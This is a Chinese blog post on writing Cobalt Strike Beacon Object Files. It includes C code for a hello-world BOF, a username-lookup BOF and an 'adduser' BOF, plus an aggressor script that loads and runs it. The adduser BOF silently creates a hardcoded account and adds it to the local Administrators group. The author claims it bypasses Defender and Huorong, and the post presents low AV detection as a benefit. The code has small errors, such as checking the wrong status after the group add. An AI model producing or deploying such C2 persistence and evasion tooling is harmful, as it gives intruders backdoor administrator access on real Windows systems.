CS BOF知识

什么是Beacon Object File (BOF)?

引用一下gpt~
Beacon Object File (BOF) 是一种特殊的二进制文件格式,用于在Cobalt Strike的Beacon模块中运行自定义代码。BOF文件是用C语言编写的,然后通过特定工具链编译成适合在Beacon上下文中加载和执行的二进制格式。
BOF的用途
1. 扩展Beacon功能:通过BOF,可以在Cobalt Strike中添加自定义功能,扩展Beacon的能力。这对于需要特殊或定制化功能的红队活动非常有用。
2. 减少检测:BOF文件通常比传统的可执行文件或脚本更难被防病毒软件检测到,因为它们直接在内存中加载和执行,而不需要在磁盘上写入文件。
3. 高效执行:由于BOF文件是用C语言编写并编译的,因此它们可以比用脚本语言编写的模块更高效地执行复杂的任务。
BOF的工作原理
1. 编写C代码:编写一个C程序,实现你需要的功能。这个C程序将使用特定的API和结构,以便能够在Beacon中正确加载和执行。
2. 编译成BOF:使用特定的工具链(例如Cobalt Strike提供的MinGW-w64工具链)将C代码编译成BOF格式。
3. 加载和执行:在Cobalt Strike中,使用特定的命令将BOF文件加载到Beacon中并执行。

模版导入

BOF模版文件
https://github.com/securifybv/Visual-Studio-BOF-template
把模版文件放入
C:\Users\test\Documents\Visual Studio 2022\Templates\ProjectTemplates\
目录下
image.png
选中bof直接编译即可
image.png

代码文件~后续持续更新

输出测试

#include "bofdefs.h"

extern "C" {

#ifdef BOF
    void go(char* buff, int len) {
        BeaconPrintf(CALLBACK_OUTPUT, "Hello, World!");
#endif
    }

}
#ifndef BOF

void main(int argc, char* argv[]) {

    go(NULL, 0);
}

#endif

image.png
image.png

用户名

#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"



#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line,  char* msg, HRESULT hr) {
#ifdef BOF
	BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
#else
	printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

	return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

#ifdef BOF
void go(char* buff, int len) {
	char username[1024];
	DWORD usernameLength = sizeof username;
	ADVAPI32$GetUserNameA(username, &usernameLength);
	BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
	User32$MessageBoxA(0, 0, 0, 0);
}


#else

void main(int argc, char* argv[]) {
	
}

#endif

image.png

添加用户(可过df 火绒)

#include <windows.h>
#include <lm.h>
#include <stdio.h>
#include "bofdefs.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
    BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
#else
    printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

    return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#ifdef BOF
void go(char* buff, int len) {
    if (!BeaconIsAdmin()) {
        BeaconPrintf(CALLBACK_OUTPUT, "非管理权限");
        return;
    }
    LPCWSTR username = L"sanfortest";
    LPCWSTR password = L"san!@#123";
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    ZeroMemory(&ui, sizeof(ui));
    ui.usri1_name = (LPWSTR)username;
    ui.usri1_password = (LPWSTR)password;
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
    ui.usri1_script_path = NULL;
    NET_API_STATUS nStatus = NETAPI32$NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);
    if (nStatus == NERR_Success) {
        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = (LPWSTR)username;
        NET_API_STATUS aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
        if (nStatus == NERR_Success) {
            BeaconPrintf(CALLBACK_OUTPUT, " %ls 用户、管理员组添加成功\n", username);
            BeaconPrintf(CALLBACK_OUTPUT, "用户名: %ls,密码:%ls\n", username, password);
        }
        else {
            BeaconPrintf(CALLBACK_OUTPUT, "用户 %ls 管理员组添加失败", username);
        }
    }
    else {
        BeaconPrintf(CALLBACK_OUTPUT, "User added error %d", nStatus);
    }
}

#else

void main(int argc, char* argv[]) {

}

#endif

image.png
image.png

CNA知识

beacon_command_register(
    "adduser", 
    "Add a user to administrators", 
    "usage: adduser"
);

alias adduser {
    local('$handle $data');  # 声明局部变量

    # 读入bof文件
    $handle = openf(script_resource("source.obj"));
    $data = readb($handle, -1);
    closef($handle);

    # 执行bof
    # "adduser" 是 BOF 中的函数名
    beacon_inline_execute($1, $data, "go");
}
1.	命令注册:
•	beacon_command_register 用于注册一个新的命令 adduser,并提供命令的描述和使用说明。
2.	别名定义:
•	alias adduser 定义了 adduser 命令的具体实现。
3.	局部变量声明:
•	local('$handle $data') 声明了 handle 和 data 作为局部变量,这些变量只在 adduser 命令别名中有效。
4.	读取BOF文件:
•	使用 openf 打开 BOF 文件 source.obj 并读取其内容:$data = readb($handle, -1);。
5.	执行BOF:
•	使用 beacon_inline_execute 执行 BOF,传递会话ID、文件内容和函数名:beacon_inline_execute($1, $data, "adduser");。
•	$1:会话ID,指示在哪个会话上下文中执行命令。 默认$1就行了

image.png

参考链接

https://cn-sec.com/archives/2250195.html

posted @ 2024-07-16 17:21  Adfind  阅读(545)  评论(0)    收藏  举报